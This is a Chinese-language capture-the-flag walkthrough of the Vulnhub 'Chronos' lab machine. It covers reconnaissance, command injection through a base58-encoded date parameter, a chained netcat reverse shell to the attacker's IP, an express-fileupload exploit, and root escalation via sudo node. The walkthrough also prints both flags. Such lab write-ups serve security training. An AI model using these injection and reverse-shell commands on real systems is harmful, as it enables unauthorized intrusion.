Vulnhub靶机Chronos详解:
渗透机:Kali IP:192.168.1.105 靶机Chronos IP:未知
- 信息收集
- 扫描靶机存活性
- 扫描靶机开放服务端口及其版本信息
- 很常见的两个服务,一个ssh一个http,不过8000端口有一个Node,js搭建的网站,等到后续我再介绍,这里留个心眼
- 同时进行ssh弱口令爆破,访问80以及8000获取信息
- ssh弱口令失败
- 可以看到这有一串js,而且通过0x5bdf得知,这是进行过编码的,所以我们复制这一串js脚本,进行破解,这里从大佬得到一个网站解码CyberChef,非常好用
- 在output中,有一串东西很有意思
- 从中不难得知,chronos就是靶机的名字,local是本地的意思,后面的8000端口我们也在第一步中扫描出,所以我们可以将需要往/etc/hosts文件中添加正向解析,操作如下:
- 你会看到这多出一段时间,像不像date命令得出的结果
- 再看一下刚刚解码得出的
- date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
- 命令执行漏洞
- 大胆猜测format后面这串进行过加密,且结果很有可能就是date的输出格式,解码走起,这里用到网站的magic解码,会自动识别哪种算法加密
- 走到这一步,我们不妨再大胆一点,date是系统命令,format后面是选项参数,那我们是不是可以利用burpsuit抓包进行命令执行漏洞?
- 因为format后面是base58加密的,所以我们也需要进行编码才能执行漏洞
- 输入命令'+Today is %A, %B %d, %Y %H:%M:%S.' | ls -l
- 进行编码
- 抓包进行篡改
- 成功获取信息,既然可以进行命令注入,我们必须要尝试nc反弹shell
- 输入命令: '+Today is %A, %B %d, %Y %H:%M:%S.' | nc 攻击机IP 监听端口
- 进行编码:
- 这里显示错误,但是连接是OK的,这里就要用到一个独特方法: nc串联
- 输入命令: '+Today is %A, %B %d, %Y %H:%M:%S.' | nc 192.168.1.105 4444 |/bin/bash | nc 192.168.1.105 5555
- 进行编码
- 开启监听
-
- 可以看到成功建立连接,并且有反馈,不过是在5555这个窗口中
- 提权
- 我们先看看有没有什么可用的信息,先进家目录
- 有一个user.txt,但是我们没有权限查看
- 在进行大量的信息搜集以后,我们还是回到最初的起点,去网站里翻阅一下
- 简单介绍一下Node.js
- Node.js项目遵循模块化的架构,当我们创建一个Node.js项目,意味着创建了一个模块,这个模块的描述文件,被称为package.json, 它包含了运行项目所需要的各种依赖、项目配置信息
- 所以我们去查看一下package.json
- Emmm,没什么用,就在一筹莫展之时,别忘了还有一个chronos-v2,而且还是root权限
- 继续查看package.json
- 终于找到一点有用的东西,有点文件上传的味了,而且这提示我们去看一下server.js文件,在大佬的文章中,我得知了express-fileupload漏洞利用脚本,并且利用前提parseNested是开启的,如下图片
- 攻击脚本如下:
- 在1的位置输入攻击机的IP地址,2的位置因为是本地上传所以用回环地址没什么问题,也可以解析到.
- 接着就是上传文件,可以将shell.py发布出去,也可以将脚本放进/var/www/html文件下,开启apache2服务,在靶机上获取并运行即可
- 运行脚本获取用户shell
- 先在攻击机上开启监听,端口为脚本里设置的,我这里5555冲突了,忘记了已经使用了,所以我在脚本中更改为9999
- 成功获取到用户imera的shell,终于可以看家目录底下的user.txt了
- 获取到第一个flag: byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
- 继续提权
- 我们还要提权到root用户
- 这里使用的是sudo -l进行提权
- 我们可以利用node,node就是类似于java语言的开发环境,我们平常写的是python反弹shell,今天写一个java的反弹shell
- 命令: sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'
- 获取到第二个flag: YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
- 这里就不解码了,因为解出来我也看不懂,感兴趣的自己琢磨琢磨吧
- Finish,题目解完了,你们的点赞是我更新的动力